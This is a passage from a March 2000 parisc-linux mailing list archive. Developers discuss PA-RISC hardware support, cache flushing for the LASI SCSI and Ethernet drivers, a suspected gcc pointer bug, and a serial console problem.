  by mailserv2.iuinc.com with SMTP; 2 Mar 2000 17:09:00 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id MAA17733;
	Thu, 2 Mar 2000 12:08:51 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000302210210.C30912@neep.com.au>; from Andrew Shugg on Thu, Mar 02, 2000 at 09:02:12PM +0800
Xref: news.gmane.org gmane.linux.ports.parisc:6943

On Thu, Mar 02, 2000 at 09:02:12PM +0800, Andrew Shugg wrote:
> Okay.  =)  Is it clear at this point what is definitely going to be supported
> (even if it doesn't work now), and what will _never_ be supported?  (ie,
> basically, what has 1.0 and what has 1.1?)

Well, I'm glad you asked me that :-)

I've just spent a fair bit of time, with Dave Kennedy's help, updating the
PARISC Hardware Database.  If you click on the `PA-7000 (PCX)' link under
`CPU types', you'll see that Stan Sieler is going to be disappointed that
he hung on to his 834, but his 705 will work nicely as it's a PA-7000
(PCX-S).


From - Thu Nov 08 21:12:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Value of an old K-class server?
Date: Thu, 2 Mar 2000 10:15:41 -0800 (PST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200003021815.KAA29182@opus.allegro.com>
References: <20000302120851.S9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618807 30903 80.91.229.3 (22 Nov 2014 01:13:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:27 +0000 (UTC)
Cc: andrew@neep.com.au (Andrew Shugg), parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: sieler@opus.allegro.com  Thu Mar  2 12:14:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA31297
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Mar 2000 12:14:42 -0700
Original-Received: (qmail 25479 invoked by uid 15267); 2 Mar 2000 18:15:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25459 invoked from network); 2 Mar 2000 18:15:43 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 2 Mar 2000 18:15:43 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id KAA29182;
	Thu, 2 Mar 2000 10:15:41 -0800
In-Reply-To: <20000302120851.S9944@thepuffingroup.com> from "willy@thepuffingroup.com" at Mar 02, 2000 12:08:51 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:6944

Re:

> `CPU types', you'll see that Stan Sieler is going to be disappointed that
> he hung on to his 834, but his 705 will work nicely as it's a PA-7000
> (PCX-S).

We keep the 9000/834 as our HP-UX 10.10 test machine...
last year, it was turned on for about 10 days (out of 365).  
This year, we haven't turned it on yet :)

No...I don't intend to run Linux on it...too slow!

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html          www.allegro.com/sieler


From - Thu Nov 08 21:12:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Gyula Matics" <gyula_matics@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] lasi scsi driver
Date: Thu, 2 Mar 2000 21:42:50 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <006601bf8487$e057e010$a94abc0f@hungary.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618807 30905 80.91.229.3 (22 Nov 2014 01:13:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:27 +0000 (UTC)
To: <parisc-linux@puffin.external.hp.com>
Original-X-From: gyula_matics@hp.com  Thu Mar  2 14:43:06 2000
Original-Received: from cosrel1.hp.com (cosrel1.hp.com [156.153.255.170])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id OAA32536
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Mar 2000 14:43:06 -0700
Original-Received: from bimbo.hungary.hp.com (bimbo.hungary.hp.com [15.188.72.201])
	by cosrel1.hp.com (Postfix) with ESMTP id 7ED15328
	for <parisc-linux@puffin.external.hp.com>; Thu,  2 Mar 2000 13:44:26 -0700 (MST)
Original-Received: from pcmatics (pcmatics.hungary.hp.com [15.188.74.169]) by bimbo.hungary.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.1) id VAA03645 for <parisc-linux@puffin.external.hp.com>; Thu, 2 Mar 2000 21:42:51 +0100 (MET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:6945

It's only half working. It can list the devices on the bus, but that's all.

It is not working because it needs a horrible amount of cache flushing
and I still didn't get it right. (the committed code only contains enough
flushing to pass the two debugging tests)

The scsi card is running code that is in the main memory and the driver
is heavily patching that. The bigger problem is that the communication
with the card is done via a mailbox also residing in the main memory
and the driver is assuming that this mailbox is on a non-cacheable page.

I know that the architecture supports setting a page non-cacheable.
My question is if it is possible / good idea to set the mailbox page
to non-cacheable?

Gyula
ps: if you hack 53c7xx.c beware that many comments are misleading.
and generally it is a mess.


From - Thu Nov 08 21:12:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lasi scsi driver
Date: Thu, 02 Mar 2000 13:19:40 -0800
Lines: 48
Approved: news@gmane.org
Message-ID: <200003022119.NAA11506@milano.cup.hp.com>
References: <006601bf8487$e057e010$a94abc0f@hungary.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618808 30910 80.91.229.3 (22 Nov 2014 01:13:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:28 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: "Gyula Matics" <gyula_matics@hp.com>
Original-X-From: grundler@cup.hp.com  Thu Mar  2 15:23:27 2000
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id PAA00559
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Mar 2000 15:23:27 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel2.hp.com (Postfix) with ESMTP id 0A6CE19C9
	for <parisc-linux@puffin.external.hp.com>; Thu,  2 Mar 2000 16:25:03 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id NAA11506; Thu, 2 Mar 2000 13:19:57 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 02 Mar 2000 21:42:50 PST."
             <006601bf8487$e057e010$a94abc0f@hungary.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6946

"Gyula Matics" wrote:
> It's only half working. It can list the devices on the bus, but that's all.
> 
> It is not working because it needs a horrible amount of cache flushing
> and I still didn't get it right. (the committed code only contains enough
> flushing to pass the two debugging tests)

Aside from the mailbox problems, have you added code to flush/purge
entries for payload data?

I was just talking about that with someone and thinking we could
put that in a "common" I/O path. I found "wakeup_bdflush()" but have
no clue what that does.

The goal here is to enable *all* SCSI disk drivers WRT to the payload data.
We are interested in getting PCI SCSI drivers working too and I know
this is going to be a problem. At least it's a problem until the
"Dynamic DMA mapping" interfaces are implemented for parisc-linux
and actually used by the drivers parisc-linux folks care about.


> The scsi card is running code that is in the main memory and the driver
> is heavily patching that. The bigger problem is that the communication
> with the card is done via a mailbox also residing in the main memory
> and the driver is assuming that this mailbox is on a non-cacheable page.
> 
> I know that the architecture supports setting a page non-cacheable.
> My question is if it is possible / good idea to set the mailbox page
> to non-cacheable?

Philipp Rumpf mentioned a possible implementation to me in a private
e-mail (make_page_uncached()). He's open to other ideas and/or
interfaces if another architecture has already solved this problem.
I started looking into this but I'm way outta my depth here.

Like the payload data, this is a kluge only needed until the
drivers use the new "Dynamic DMA mapping" interfaces described
in Documentation/DMA-mapping.txt. (I reccomend version 2.3.47
or newer). We should be able to hide the "(make_page_uncached()"
call in those interfaces from the drivers.

thanks,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ELF32 kernel
Date: Thu, 02 Mar 2000 14:37:49 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <E12QdI5-0004IM-00@endor.fc.hp.com>
References: <E12QIeA-0002KV-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618808 30912 80.91.229.3 (22 Nov 2014 01:13:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Thu Mar  2 15:36:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA00883
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Mar 2000 15:36:53 -0700
Original-Received: (qmail 10476 invoked by uid 15267); 2 Mar 2000 21:37:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10445 invoked from network); 2 Mar 2000 21:37:51 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 2 Mar 2000 21:37:51 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by atlrel1.hp.com (Postfix) with ESMTP id 6AD1C1BB6
	for <parisc-linux@thepuffingroup.com>; Thu,  2 Mar 2000 16:37:50 -0500 (EST)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 2.05 #1 (Debian))
	id 12QdI5-0004IM-00; Thu, 2 Mar 2000 14:37:49 -0700
In-reply-to: Your message of "Wed, 01 Mar 2000 16:35:14 MST."
             <E12QIeA-0002KV-00@endor.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6947

= There's a problem when I enable CONFIG_PROC_FS where devinet_init()
= calls register_sysctl_table() with a ctl_table containing a char*
= pointer (for ->procname) containing the value 0x20, which eventually
= dies in strlen() at a lower level.

Actually CONFIG_PROC_FS works, but CONFIG_SYSCTL doesn't, for the
reason above, so I changed defconfig to reflect this.

I tracked the problem down to what appears to be a compiler
bug, in that the devinet_sysctl_table struct in net/ipv4/devinet.c
works well until you try to generate a pointer to the last 'ctl_table'
element inside that struct.  This pointer value is bogus, leading to
the misbehavior described above.  I can make the problem move around
by inserting fields in the struct, so it appears that gcc can't generate
valid pointers to members past a certain struct size.

This could also be a difficulty for SOM folks who use the compiler
from CVS on puffin.external.hp.com and who configure kernels including
networking.

I'm out of my depth hacking gcc.

	-Paul Bame


From - Thu Nov 08 21:12:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: morrison@southwind.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Help! can't get serial console on 715/75
Date: Thu, 2 Mar 2000 15:41:07 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <200003022139.PAA06921@onyx.southwind.net>
Reply-To: morrison@southwind.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416618808 30916 80.91.229.3 (22 Nov 2014 01:13:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:28 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: morrison@onyx.southwind.net  Thu Mar  2 15:38:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA01018
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Mar 2000 15:38:51 -0700
Original-Received: (qmail 11886 invoked by uid 15267); 2 Mar 2000 21:39:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11879 invoked from network); 2 Mar 2000 21:39:53 -0000
Original-Received: from onyx.southwind.net (root@206.53.103.2)
  by mailserv2.iuinc.com with SMTP; 2 Mar 2000 21:39:53 -0000
Original-Received: from acer (dialup-146-100-wichita1.southwind.net [206.53.100.146])
	by onyx.southwind.net (8.9.3/8.9.3) with SMTP id PAA06921
	for <parisc-linux@thepuffingroup.com>; Thu, 2 Mar 2000 15:39:51 -0600 (CST)
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.01b)
Xref: news.gmane.org gmane.linux.ports.parisc:6948

I recently acquired several HP 700 series boxes, and am not able to 
get into a serial console on a 715/75.  I did not get any monitors with 
them.  I have been able to get a serial console up on a 715/100, and 
on a 735/125, so the serial setup is known to work, but the 715/75 
boxes simply will not respond.  I have disconnected the graphics 
card, with no change.  I do have HIL keyboards, but have not been 
able to set the console to rs232 working blind.  Suspecting secure 
mode was on, I disconnected all drives and attempted to set secure 
off blind, to no avail.

Any help appreciated, additional info available if it will help

Marc Morrison
would-be HP user


From - Thu Nov 08 21:12:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Gyula Matics" <gyula_matics@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lasi scsi driver
Date: Thu, 2 Mar 2000 22:44:56 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <007901bf8490$8db01ef0$a94abc0f@hungary.hp.com>
References: <200003022119.NAA11506@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618809 30919 80.91.229.3 (22 Nov 2014 01:13:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:29 +0000 (UTC)
Cc: <parisc-linux@puffin.external.hp.com>
To: <grundler@cup.hp.com>
Original-X-From: gyula_matics@hp.com  Thu Mar  2 15:45:23 2000
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id PAA01365
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Mar 2000 15:45:22 -0700
Original-Received: from bimbo.hungary.hp.com (bimbo.hungary.hp.com [15.188.72.201])
	by palrel1.hp.com (Postfix) with ESMTP id C1B70B48
	for <parisc-linux@puffin.external.hp.com>; Thu,  2 Mar 2000 13:46:23 -0800 (PST)
Original-Received: from pcmatics (pcmatics.hungary.hp.com [15.188.74.169]) by bimbo.hungary.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.1) id WAA03719; Thu, 2 Mar 2000 22:44:58 +0100 (MET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:6949

> Aside from the mailbox problems, have you added code to flush/purge
> entries for payload data?

It is not a clean mailbox system. It is mixing data and commands in the
mailbox...

> > I know that the architecture supports setting a page non-cacheable.
> > My question is if it is possible / good idea to set the mailbox page
> > to non-cacheable?
> 
> Philipp Rumpf mentioned a possible implementation to me in a private
> e-mail (make_page_uncached()). He's open to other ideas and/or
> interfaces if another architecture has already solved this problem.

The driver was originally written for m68k and one can find this code
fragments in it:

    cache_push(virt_to_phys((void *)(instance->hostdata[0])), 8192);
    cache_clear(virt_to_phys((void *)(instance->hostdata[0])), 8192);
    kernel_set_cachemode(instance->hostdata[0], 8192, IOMAP_NOCACHE_SER);

> in Documentation/DMA-mapping.txt. (I reccomend version 2.3.47

OK, i'll read it.

Gyula


From - Thu Nov 08 21:12:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Lasi Ethernet - update
Date: Fri, 3 Mar 2000 01:50:58 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <00030302170400.19213@P100>
References: <200003022119.NAA11506@milano.cup.hp.com> <007901bf8490$8db01ef0$a94abc0f@hungary.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618809 30921 80.91.229.3 (22 Nov 2014 01:13:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:29 +0000 (UTC)
To: <parisc-linux@puffin.external.hp.com>
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Thu Mar  2 19:16:04 2000
Original-Received: from P100.ruhr-uni-bochum.de (root@pec-31-36.tnt4.me2.uunet.de [149.225.31.36])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id TAA03089
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Mar 2000 19:16:03 -0700
Original-Received: from localhost (localhost [[UNIX: localhost]])
	by P100.ruhr-uni-bochum.de (8.8.8/8.8.8) id CAA20203
	for parisc-linux@puffin.external.hp.com; Fri, 3 Mar 2000 02:17:04 +0100
X-Mailer: KMail [version 1.0.29]
In-Reply-To: <007901bf8490$8db01ef0$a94abc0f@hungary.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6950

Hi puffins & folks,

I just checked in an updated version of the LASI ethernet-driver, which helps me
to boot my 715/64 into root-nfs and sash...
The code needs more cleanup, but I thought it is better to commit it now, so
other people can at least use it.

In order to get the driver working I wrote own functions for dma_cache_wback()
and dma_cache_inv(), which needs generic clean-up and should of course go
into another source-file (cache.c ?). Phillipp, maybe you want to integrate
them properly ?

During the tests here, it seems, that the current kernel doesnt handle
ARP-requests properly. When I ping one of the machines, the 715 segfaults at
once with:
  "Unexpected Interruption!: Code=31 regs=..... (Addr=0000000)"
Does this happen on other machines/netcards too ?


Regards,

Helge Deller.


From - Thu Nov 08 21:12:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lasi scsi driver
Date: Fri, 3 Mar 2000 02:34:03 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <00030302414501.19213@P100>
References: <200003022119.NAA11506@milano.cup.hp.com> <007901bf8490$8db01ef0$a94abc0f@hungary.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618809 30923 80.91.229.3 (22 Nov 2014 01:13:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:29 +0000 (UTC)
To: <parisc-linux@puffin.external.hp.com>
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Thu Mar  2 19:40:46 2000
Original-Received: from P100.ruhr-uni-bochum.de (root@pec-31-36.tnt4.me2.uunet.de [149.225.31.36])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id TAA03411
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Mar 2000 19:40:44 -0700
Original-Received: from localhost (localhost [[UNIX: localhost]])
	by P100.ruhr-uni-bochum.de (8.8.8/8.8.8) id CAA20289
	for parisc-linux@puffin.external.hp.com; Fri, 3 Mar 2000 02:41:45 +0100
X-Mailer: KMail [version 1.0.29]
In-Reply-To: <007901bf8490$8db01ef0$a94abc0f@hungary.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6951

Hi,

Am Thu, 02 Mar 2000 schrieb Gyula Matics:
> > Aside from the mailbox problems, have you added code to flush/purge
> > entries for payload data?
> 
> It is not a clean mailbox system. It is mixing data and commands in the
> mailbox...
> 
> > > I know that the architecture supports setting a page non-cacheable.
> > > My question is if it is possible / good idea to set the mailbox page
> > > to non-cacheable?
> > 
> > Philipp Rumpf mentioned a possible implementation to me in a private
> > e-mail (make_page_uncached()). He's open to other ideas and/or
> > interfaces if another architecture has already solved this problem.
> 
> The driver was originally written for m68k and one can find this code
> fragments in it:
> 
>     cache_push(virt_to_phys((void *)(instance->hostdata[0])), 8192);
>     cache_clear(virt_to_phys((void *)(instance->hostdata[0])), 8192);
>     kernel_set_cachemode(instance->hostdata[0], 8192, IOMAP_NOCACHE_SER);

Theese function (in the same order) was used in the lasi-ethernet-driver too.
Maybe you want to take a look at the functions dma_cache_inv() and
dma_cache_wback(), which I defined  at the top of the lasi_82596.c driver.
Currently this is really only a bad hack, but I think this is the way you could
go until make_page_uncached() is available.... ?
This means:
cache_push() -> dma_cache_wback()   and
cache_clear() -> dma_cache_inv().
I just added this hack, since currently dma_cache_inv() is defined as
flush_all_caches(), and this function doesnt INVALIDATES the cache.

> 
> > in Documentation/DMA-mapping.txt. (I reccomend version 2.3.47
> 
> OK, i'll read it.
> 
> Gyula

Helge.


From - Thu Nov 08 21:12:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Lasi Ethernet - update
Date: Thu,  2 Mar 2000 19:55:02 -0700 (MST)
Lines: 13
Approved: news@gmane.org
Message-ID: <20000303025502.6D3E71B9CE@chunks.gag.com>
References: <00030302170400.19213@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618810 30926 80.91.229.3 (22 Nov 2014 01:13:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:30 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bdale@gag.com  Thu Mar  2 20:56:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA04034
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Mar 2000 20:56:29 -0700
Original-Received: (qmail 6333 invoked by uid 15267); 3 Mar 2000 02:57:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3900 invoked from network); 3 Mar 2000 02:55:03 -0000
Original-Received: from chunks.gag.com (postfix@192.133.104.9)
  by mailserv2.iuinc.com with SMTP; 3 Mar 2000 02:55:03 -0000
Original-Received: by chunks.gag.com (Postfix, from userid 1000)
	id 6D3E71B9CE; Thu,  2 Mar 2000 19:55:02 -0700 (MST)
X-Newsgroups: list.parisc-linux
In-Reply-To: <00030302170400.19213@P100>
User-Agent: tin/1.4.1-19991201 ("Polish") (UNIX) (Linux/2.2.14 (i686))
Xref: news.gmane.org gmane.linux.ports.parisc:6952

In article <00030302170400.19213@P100> you wrote:

> During the tests here, it seems, that the current kernel doesnt handle
> ARP-requests properly. When I ping one of the machines, the 715 segfaults at
> once with:
>   "Unexpected Interruption!: Code=31 regs=..... (Addr=0000000)"
> Does this happen on other machines/netcards too ?

For what it's worth, I have no problem pinging my A180 running a kernel I 
built with the bits that were current in CVS yesterday booted with NFS root.

Bdale


From - Thu Nov 08 21:12:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Lasi Ethernet - update (fixed!)
Date: Fri, 3 Mar 2000 14:14:07 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <00030314221100.02384@P100>
References: <20000303025502.6D3E71B9CE@chunks.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618810 30928 80.91.229.3 (22 Nov 2014 01:13:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:30 +0000 (UTC)
To: Bdale Garbee <bdale@gag.com>, parisc-linux@thepuffingroup.com
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Fri Mar  3 07:21:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA08190
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Mar 2000 07:21:20 -0700
Original-Received: (qmail 28321 invoked by uid 15267); 3 Mar 2000 13:22:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28292 invoked from network); 3 Mar 2000 13:22:22 -0000
Original-Received: from pec-25-88.tnt1.me2.uunet.de (HELO P100.ruhr-uni-bochum.de) (root@149.225.25.88)
  by mailserv2.iuinc.com with SMTP; 3 Mar 2000 13:22:22 -0000
Original-Received: from localhost (localhost [[UNIX: localhost]])
	by P100.ruhr-uni-bochum.de (8.8.8/8.8.8) id OAA02416;
	Fri, 3 Mar 2000 14:22:11 +0100
X-Mailer: KMail [version 1.0.29]
In-Reply-To: <20000303025502.6D3E71B9CE@chunks.gag.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6953

Am Fri, 03 Mar 2000 schrieb Bdale Garbee:
> In article <00030302170400.19213@P100> you wrote:
> 
> > During the tests here, it seems, that the current kernel doesnt handle
> > ARP-requests properly. When I ping one of the machines, the 715 segfaults at
> > once with:
> >   "Unexpected Interruption!: Code=31 regs=..... (Addr=0000000)"
> > Does this happen on other machines/netcards too ?
> 
> For what it's worth, I have no problem pinging my A180 running a kernel I 
> built with the bits that were current in CVS yesterday booted with NFS root.
> 
> Bdale

Hi Bdale,

Thanks for your response. 
I found the bug in the lasi-ethernet driver, so it works now ! The problem
was, that the kernel crashed right after going to user-mode, and so I assumed
that it was a general kernel-related problem and not related to the
lasi-ethernet-driver.

This is fixed now in CVS. People, who have older machines are now able
to boot the kernel via nfsroot.

Helge.


From - Thu Nov 08 21:12:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lasi scsi driver
Date: Fri, 3 Mar 2000 10:52:32 -0500
Lines: 8
Approved: news@gmane.org
Message-ID: <20000303105232.V9944@thepuffingroup.com>
References: <006601bf8487$e057e010$a94abc0f@hungary.hp.com> <200003022119.NAA11506@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618810 30930 80.91.229.3 (22 Nov 2014 01:13:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:30 +0000 (UTC)
Cc: Gyula Matics <gyula_matics@hp.com>, parisc-linux@puffin.external.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@thepuffingroup.com  Fri Mar  3 10:00:22 2000
Original-Received: from gin.ext.thepuffingroup.com ([216.208.98.3])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA09211
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Mar 2000 10:00:21 -0700
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id KAA19829;
	Fri, 3 Mar 2000 10:52:32 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200003022119.NAA11506@milano.cup.hp.com>; from Grant Grundler on Thu, Mar 02, 2000 at 01:19:40PM -0800
